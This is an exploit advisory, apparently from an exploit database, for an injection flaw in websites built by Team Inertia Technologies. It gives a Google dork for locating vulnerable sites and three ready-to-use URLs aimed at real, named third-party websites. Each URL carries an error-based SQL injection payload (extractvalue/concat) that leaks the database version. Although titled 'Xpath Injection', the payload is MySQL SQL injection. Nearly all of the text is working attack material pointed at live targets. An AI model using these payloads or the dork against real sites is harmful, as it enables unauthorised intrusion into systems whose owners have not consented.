*********************************************************
#Exploit Title: Team Inertia Technologies Xpath Injection Vulnerability
#Date: 2021-03-22
#Exploit Author: Behrouz Mansoori
#Google Dork: "Designed by Team Inertia Technologies"
#Category:webapps
#Tested On: windows 10, Firefox
Proof of Concept:
Search google Dork: "Designed by Team Inertia Technologies"
### Demo :
http://www.siberindia.edu.in/faculties-detail.php?id=48%20and%20extractvalue(rand(),concat(0x7e,version()))--
http://mail.tskk.org/content_disp.php?id=94%20and%20extractvalue(rand(),concat(0x7e,version()))--
https://www.molbiodiagnostics.com/gallery-detail.php?id=2%20and%20extractvalue(rand(),concat(0x7e,version()))--
*********************************************************
#Discovered by: Behrouz mansoori
#Instagram: Behrouz_mansoori
#Email: mr.mansoori@yahoo.com
*********************************************************